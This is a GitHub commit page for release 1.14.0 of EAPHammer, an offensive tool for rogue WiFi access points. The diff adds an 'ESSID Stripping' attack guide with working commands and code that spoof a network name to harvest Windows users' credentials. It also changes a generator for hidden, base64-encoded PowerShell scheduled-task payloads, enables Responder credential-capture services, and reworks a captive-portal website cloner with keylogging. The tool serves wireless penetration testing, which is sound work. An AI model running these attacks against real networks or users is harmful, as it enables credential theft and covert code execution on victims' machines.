Skip to content

Commit

Permalink
Merge pull request #206 from s0lst1c3/devel-1.14.0
Browse files Browse the repository at this point in the history
Devel 1.14.0
  • Loading branch information
s0lst1c3 authored Oct 7, 2023
2 parents e8d1ff8 + 7c25882 commit 442ee78
Show file tree
Hide file tree
Showing 18 changed files with 158 additions and 42 deletions.
42 changes: 42 additions & 0 deletions ESSIDStripping.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
# ESSID Stripping

Add a non-printable UTF8 character to the AP ESSID to avoid new security settings on WiFi clients, such as Microsoft. This security configuration stores the information of the old connections and notifies if there are any changes, blocking the automatic connections and not allowing access to the network. In addition, the user's credentials could be obtained in case the computer uses client certificate or computer credentials in the domain, because for Windows is a new network.

With this attack, the AP name is the same for the client, but Windows detects the full name as a new one, as it sees the non-printable characters. Then, the client asks for the username, password, etc. when logging in. Like a new network.


The options are:
- '\r' for a new line.
- '\t' for a tab.
- '\n' for a enter, like '\r'.
- '\x20' for a space, like adding a white space after the SSID option using quotes.


## Attacking with original Eaphammer (only space)

```bash
python3 ./eaphammer -i wlan3 --auth wpa-eap --essid "wifi-AP " --creds --negotiate balanced
```

## Attacking with modified Eaphammer

An example using the `--stripping '\r'` parameter is shown below. In this case we use '\r' because is not showed by Android and it may go unnoticed as a new line in Windows, Linux and iOS.


```bash
python3 ./eaphammer -i wlan0 --auth wpa-eap --essid wifi-AP --creds --negotiate balanced --essid-stripping '\r'
```

## Attacking manually using hostapd

We only have to use the UTF8 essid options, and use the P options in the essid2 in the hostapd.conf file:
``` bash
ssid2=P"wifi-AP\x20"
utf8_ssid=1
```

# Refs

- https://aireye.tech/2021/09/13/the-ssid-stripping-vulnerability-when-you-dont-see-what-you-get/

- https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf
19 changes: 8 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
![logo](https://rawcdn.githack.com/s0lst1c3/eaphammer/ab8202de4a298957a2bc5662f986cdfb195490e4/docs/img/logo.png)

by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3))(gabriel[at]solstice|d0t|sh)
by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3))

[![Foo](https://rawcdn.githack.com/toolswatch/badges/8bd9be6dac2a1d445367001f2371176cc50a5707/arsenal/usa/2017.svg)](https://www.blackhat.com/us-17/arsenal.html#eaphammer)

Current release: [v1.13.5](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.13.5)
Current release: [v1.14.0](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.14.0)

Supports _Python 3.5+_.
Supports _Python 3.9+_.

Overview
--------
Expand Down Expand Up @@ -79,7 +79,10 @@ Features
- Fast and automated PMKID attacks against PSK networks using hcxtools
- Password spraying across multiple usernames against a single ESSID

### New (as of Version 1.13.5)(latest):
### New (as of Version 1.14.0)(latest):
Added support for ESSID Stripping attacks. Fixed many, many bugs.

### Captive Portal with Keylogging, Payload Delivery, and Integrated Website Cloaner (added in version 1.13.5):
EAPHammer now has a modular captive portal with keylogging and payload delivery capabilities, as well as an integrated website cloaner for easily creating portal modules.

### WPA/2-PSK handshake captures (added as for version 1.7.0)
Expand Down Expand Up @@ -130,13 +133,6 @@ EAPHammer now supports attacks against 802.11a and 802.11n networks. This includ
- RIFS
- HT power management

Upcoming Features
-----------------

- Perform seamless MITM attacks with partial HSTS bypasses
- directed rogue AP attacks (deauth then evil twin from PNL, deauth then karma + ACL)
- Integrated website cloner for cloning captive portal login pages
- Integrated HTTP server for captive portals

## Contributing

Expand Down Expand Up @@ -168,6 +164,7 @@ This tool either builds upon, is inspired by, or directly incorporates nearly fi
* Adam Toscher
* George Chatzisofroniou
* Mathy Vanhoef
* Raúl Calvo Laorden

For a complete description of what each of these people has contributed to the current wireless security landscape and this tool, please see:

Expand Down
8 changes: 4 additions & 4 deletions __version__.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
__version__ = '1.13.5'
__codename__ = 'Power Overwhelming'
__version__ = '1.14.0'
__codename__ = 'Final Frontier'
__author__ = '@s0lst1c3'
__contact__ = 'gabriel<<at>>solstice(doT)sh'
__tagline__ = 'A nice shiny new access point.'
__contact__ = 'gabriel<<at>>transmitengage.com'
__tagline__ = 'Now with more fast travel than a next-gen Bethesda game. >:D'
31 changes: 31 additions & 0 deletions core/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@
'lport',
'karma',
'mana',
'essid_stripping',
'loud',
'create_template',
'delete_template',
Expand Down Expand Up @@ -75,6 +76,22 @@
'reap_creds',
]

def suppress_banner():

version_flag_found = False
help_flag_found = False
for arg in sys.argv:
if arg.strip() in ['--help', '-h', '-hh']:
return False
if arg.strip() in ['--version', '-V']:
version_flag_found = True

if version_flag_found: # and help_flag_found == False
return True
else:
return False


def set_options():


Expand All @@ -83,6 +100,11 @@ def set_options():
modes_group = parser.add_argument_group('Modes')
modes_group_ = modes_group.add_mutually_exclusive_group()

modes_group_.add_argument('--version', '-V',
dest='mode_show_version',
action='store_true',
help='Print version info')

modes_group_.add_argument('--cert-wizard',
dest='cert_wizard',
choices=[
Expand Down Expand Up @@ -457,6 +479,14 @@ def set_options():
action='store_true',
help='Enable karma.')


access_point_group.add_argument('--essid-stripping',
dest='essid_stripping',
type=str,
choices=['\\r', '\\n', '\\t', '\\x20'],
default=None,
help='Enable ESSID Stripping adding \\r.')

access_point_group.add_argument('--mac-whitelist',
dest='mac_whitelist',
type=str,
Expand Down Expand Up @@ -984,6 +1014,7 @@ def set_options():
sys.exit()

if (options['cert_wizard'] is False and
options['mode_show_version'] is False and
options['manual_config'] is None and
options['advanced_help'] is False and
options['eap_spray'] is False and
Expand Down
9 changes: 9 additions & 0 deletions core/hostapd_config.py
Original file line number Diff line number Diff line change
Expand Up @@ -361,6 +361,15 @@ def populate_general(self, settings, options):
if options['essid'] is None:
general_configs['ssid'] = settings.dict['core']['hostapd']['general']['ssid']
else:
if options['essid_stripping']:
UTF8_char = options['essid_stripping']
general_configs['ssid'] = options['essid']
# Add UTF8 and ssid2=P"wifi-AP\n"
general_configs['ssid2'] = "P\"" + options['essid'] + UTF8_char +"\""
general_configs['utf8_ssid'] = 1
else:
general_configs['ssid'] = options['essid']

general_configs['ssid'] = options['essid']

if options['bssid'] is None:
Expand Down
41 changes: 33 additions & 8 deletions core/module_maker.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@

class Cloaner(object):

def __init__(self, url, project_name=None):
def __init__(self, url, project_name=None, debug=False, bypass_robots=False, verify=False):

self.url = url

Expand All @@ -28,19 +28,43 @@ def __init__(self, url, project_name=None):

self.full_project_path = os.path.join(g_tmp_dir, project_name, self.target_host)

self.debug = debug

self.bypass_robots = bypass_robots

self.verify = verify

def run(self):

kwargs = {
'bypass_robots' : True,
'project_name' : self.project_name,
}

save_webpage(

url=self.url,
project_folder=g_tmp_dir,
**kwargs

from pywebcopy.configs import get_config
config = get_config(
self.url,
g_tmp_dir,
self.project_name,
self.bypass_robots,
self.debug,
delay=None,
threaded=None,
)

page = config.create_page()
page.session.verify = self.verify

page.get(self.url)

page.save_complete(pop=True)

#save_webpage(
#
# url=self.url,
# project_folder=g_tmp_dir,
# **kwargs
#)

return

Expand Down Expand Up @@ -140,7 +164,8 @@ def move_index_to_target(self):
# script src
for script in soup.findAll('script'):

script['src'] = "{{ url_for('static', filename='%s') }}" % script['src']
if 'src' in script:
script['src'] = "{{ url_for('static', filename='%s') }}" % script['src']

body = soup.body.extract()
head = soup.head.extract()
Expand Down
4 changes: 2 additions & 2 deletions core/payloads.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ def __init__(self, command, args, delay=180):

def execute(self):

return 'powershell.exe -nop -w hidden -encodedCommand '+base64.b64encode(('''ipmo ScheduledTasks
return 'powershell.exe -nop -w hidden -encodedCommand '+str(base64.b64encode(('''ipmo ScheduledTasks
$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(%d) # tick tick tick ;)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "%s"''' % (self.command, self.args, self.delay, self.taskname, self.description)).encode('utf-16-le'))
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "%s"''' % (self.command, self.args, self.delay, self.taskname, self.description)).encode('utf-16-le')))
2 changes: 1 addition & 1 deletion core/responder.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ def get_instance():
def start(self, iface):

responder_bin = settings.dict['paths']['responder']['bin']
self.process = subprocess.Popen([responder_bin, '-wrf', '--lm', '-I', iface])
self.process = subprocess.Popen([responder_bin, '-wF', '--lm', '-I', iface])

def stop(self):

Expand Down
13 changes: 9 additions & 4 deletions eaphammer
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/env python3.8
#!/usr/bin/env python3

import argparse
import cert_wizard
Expand Down Expand Up @@ -1176,19 +1176,24 @@ _/ __ \\\\__ \\ \\____ \\| | \\\\__ \\ / \\ / \\_/ __ \\_ __ \\

if __name__ == '__main__':

print_banner()
if not core.cli.suppress_banner():

print_banner()

options = core.cli.set_options()

am_i_rooot()
if not options['mode_show_version']:
am_i_rooot()

if options['debug']:
print('[debug] Settings:')
print(json.dumps(settings.dict, indent=4, sort_keys=True))
print('[debug] Options:')
print(json.dumps(options, indent=4, sort_keys=True))

if options['cert_wizard'] or options['bootstrap']:
if options['mode_show_version']:
print(__version__)
elif options['cert_wizard'] or options['bootstrap']:
run_cert_wizard()
elif options['list_templates']:
list_templates()
Expand Down
1 change: 1 addition & 0 deletions local/hcxdumptool/hcxdumptool.c
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,7 @@
#include "include/pcap.c"
#include "include/strings.c"
#include "include/hashops.c"
#include <linux/sockios.h>
/*===========================================================================*/
/* global var */

Expand Down
3 changes: 2 additions & 1 deletion local/hostapd-eaphammer/hostapd/hostapd.conf
Original file line number Diff line number Diff line change
Expand Up @@ -85,7 +85,8 @@ ctrl_interface_group=0
##### IEEE 802.11 related configuration #######################################

# SSID to be used in IEEE 802.11 management frames
ssid=test
ssid2=test
utf8_ssid=1
# Alternative formats for configuring SSID
# (double quoted string, hexdump, printf-escaped string)
#ssid2="test"
Expand Down
File renamed without changes.
5 changes: 3 additions & 2 deletions parot-setup → parrot-setup
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ def read_deps_file(deps_file):
if __name__ == '__main__':

exit_if_not_root()


default_wordlist = os.path.join(settings.dict['paths']['directories']['wordlists'], settings.dict['core']['eaphammer']['general']['default_wordlist'])

Expand Down Expand Up @@ -44,9 +44,10 @@ if __name__ == '__main__':


print('\n[*] Installing Parot dependencies...\n')
os.system('apt -y install %s' % read_deps_file('parot-dependencies.txt'))
os.system('apt -y install %s -t parrot-backports' % read_deps_file('parrot-dependencies.txt'))
print('\n[*] complete!\n')


print('\n[*] Installing Python dependencies...\n')
os.system('python3 -m pip install -r pip.req')
print('\n[*] complete!\n')
Expand Down
2 changes: 1 addition & 1 deletion payload_generator
Original file line number Diff line number Diff line change
Expand Up @@ -46,4 +46,4 @@ if __name__ == '__main__':

print
print
print s.execute()
print(s.execute())
2 changes: 1 addition & 1 deletion pip.req
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
gevent>=1.5.0
tqdm
pem
pem==21.2.0
pyOpenSSL
scapy
lxml
Expand Down
6 changes: 3 additions & 3 deletions raspbian-setup
Original file line number Diff line number Diff line change
Expand Up @@ -69,9 +69,9 @@ if __name__ == '__main__':
os.system('cd {}/openssl && make install_sw'.format(local_dir))
print('\n[*] complete!\n')

#print('\n[*] Create DH parameters file with default length of 2048...\n')
#os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file))
#print('\ncomplete!\n')
print('\n[*] Create DH parameters file with default length of 2048...\n')
os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file))
print('\ncomplete!\n')

print('\n[*] Compiling hostapd...\n')
os.system("cd %s && cp defconfig .config" % settings.dict['paths']['directories']['hostapd'])
Expand Down
5 changes: 5 additions & 0 deletions settings/core/Responder.ini
Original file line number Diff line number Diff line change
Expand Up @@ -9,9 +9,14 @@ POP = On
SMTP = On
IMAP = On
HTTP = Off
MQTT = Off
SNMP = Off
HTTPS = On
DNS = Off
LDAP = On
RDP = On
DCERPC = On
WINRM = On

; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Expand Down
Loading

0 comments on commit 442ee78

Please sign in to comment.